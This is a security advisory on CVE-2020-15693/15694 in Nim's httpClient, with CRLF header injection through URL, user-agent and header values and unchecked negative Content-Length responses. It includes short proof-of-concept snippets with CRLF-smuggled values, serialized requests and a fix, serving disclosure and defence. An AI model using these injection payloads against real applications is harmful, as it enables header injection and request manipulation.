AUDITS FUZZING SCRIBBLE ABOUT

Nim - stdlib Httpclient - Header Crlf Injection & Server Response Validation

CVE	CVE-2020-15693 CVE-2020-15694
Vendor	nim-lang
Affected Versions	<= 1.2.6
Vulnerability Class	CWE-93
Author(s)	tintinweb
Date	Jul 30, 2020

Vulnerability Note

1 Summary

The following vulnerability note discusses two classes of vulnerabilities found in the nim-lang `httpClient` standard library:

- a `CR-LF` injection in various arguments
- lack of response value validation when parsing server responses

2 Details

2.1 Description

The nim standard library `httpClient` is vulnerable to a `CR-LF` injection in the target url. This issue shares similarities with CVE-2019-9740 and CVE-2019-9947 reported for the Python language with the difference that more injection vectors exist. An injection is possible if the attacker controls any part of the url provided to `httpClient.[get|post|...]`, the user-agent, or custom http header names or values.

Additionally, the library fails to properly validate the server response. For example, `httpClient.get().contentLength()` does not raise any error if a malicious server provides a negative `Content-Length`.

It should be noted that there seems to be a general lack of input validation (requests and response) and we expect more vectors to exist (e.g. see `generateHeaders`).

2.2 Proof of Concept

Note: `nim c -r -d:ssl client_inject.nim`

1. header injection in any url part

a) query

```
import httpClient
var client = newHttpClient()
var response = client.get("https://localhost:4433?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123")
echo response.contentLength()
echo response.body()
```

Serialized request: see `X-injected`

```
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123 HTTP/1.1
Host: localhost:4433
Connection: Keep-Alive
content-length: 0
user-agent: Nim httpclient/1.2.4
```

b) in the path

```
import httpClient
var client = newHttpClient()
var response = client.get("https://localhost:4433/a/1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123")
echo response.contentLength()
echo response.body()
```

Serialized request: see `X-injected`

```
GET /a/1 HTTP/1.1
X-injected: header
TEST: 123 HTTP/1.1
Host: localhost:4433
Connection: Keep-Alive
content-length: 0
user-agent: Nim httpclient/1.2.4
```

2. header injection in user-agent, http headers

```
import httpClient
var client = newHttpClient("MyUserAgent\r\nX-Injected: myheader")
client.headers = newHttpHeaders({ "Content-Type": "applicat\r\nion/json" })
var response = client.get("https://localhost:4433?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123")
echo response.contentLength()
echo response.body()
```

Serialized request: see `X-injected`, `TEST: 123`

```
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123 HTTP/1.1
Host: localhost:4433
Connection: Keep-Alive
content-length: 0
content-type: applicat
ion/json
user-agent: MyUserAgent
X-Injected: myheader
```

3. Integers are parsed as signed ints instead of natural numbers

The `httpClient` silently accepts invalid return parameters. For example, the content-length header is initially stored as a string without being verified to be in a proper range. When accessing it, it is being parsed as a signed integer and therefore allows to return negative numbers.

```
proc contentLength*(response: Response | AsyncResponse): int =
  ## Retrieves the specified response's content length.
  ##
  ## This is effectively the value of the "Content-Length" header.
  ##
  ## A ``ValueError`` exception will be raised if the value is not an integer.
  var contentLengthHeader = response.headers.getOrDefault("Content-Length")
  return contentLengthHeader.parseInt()
```

Request:

```
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123 HTTP/1.1
Host: localhost:4433
Connection: Keep-Alive
content-length: 0
user-agent: Nim httpclient/1.2.4
```

Malicious server response: `Content-Length: -23`

```
HTTP/1.1 200 OK
Date: Sun, 10 Oct 2010 23:26:07 GMT
Server: Apache/2.2.8 (Ubuntu) mod_ssl/2.2.8 OpenSSL/0.9.8g
Last-Modified: Sun, 26 Sep 2010 22:04:35 GMT
ETag: "45b6-834-49130cc1182c0"
Accept-Ranges: bytes
Content-Length: -23
Connection: close
Content-Type: text/html

Hello world!
```

Accessing the `Content-Length` yields the negative number -23.

```
import httpClient
var client = newHttpClient()
var response = client.get("http://localhost:4433/a/1 HTTP/1.1\r\nX-i\x00\x01YOnjected: header\r\nTEST: 123")
echo response.contentLength()
echo response.body()
```

output:

```
⇒  nim c -r -d:ssl  client_inject.nim
...
Hint:  [Link]
Hint: 112071 LOC; 1.103 sec; 112.691MiB peakmem; Debug build; proj: /Users/tintin/workspace/nim/test/issues/httpclient/inject/client_inject.nim; out: /Users/tintin/workspace/nim/test/issues/httpcl
Hint: /Users/tintin/workspace/nim/test/issues/httpclient/inject/client_inject  [Exec]
-23
```

This might pose a risk to applications that are not checking whether response values are within sane bounds.

2.3 Proposed Fix

- properly validate all parameters used in the module. Do not allow any context sensitive characters of the underlying protocol (e.g. `CR-LF`, `:` in header keys, ...)
- validate the server response. Use `parseNatural` instead of `parseInt` to parse positive natural numbers.

3 Vendor Response

Vendor response: fixed in v1.2.6 (Official Security Advisory)

3.1 Timeline

```
JUL/09/2020 - contact nim developers @telegram; provided details, PoC
JUL/30/2020 - fixed in new release
MAR/26/2021 - vendor advisory (https://github.com/nim-lang/security/security/advisories/GHSA-4xc7-fp2p-49j3), public disclosure
```

4 References

- [1] https://nim-lang.org/
- [2] https://nim-lang.org/install.html
- [3] https://en.wikipedia.org/wiki/Nim_(programming_language)
- [4] https://nim-lang.org/blog/2020/07/30/versions-126-and-108-released.html

AUDITS
FUZZING
SCRIBBLE
BLOG
TOOLS
RESEARCH
ABOUT
CONTACT
CAREERS
PRIVACY POLICY

Subscribe to Our Newsletter

Stay up-to-date on our latest offerings, tools, and the world of blockchain security.

Email*

e-mail address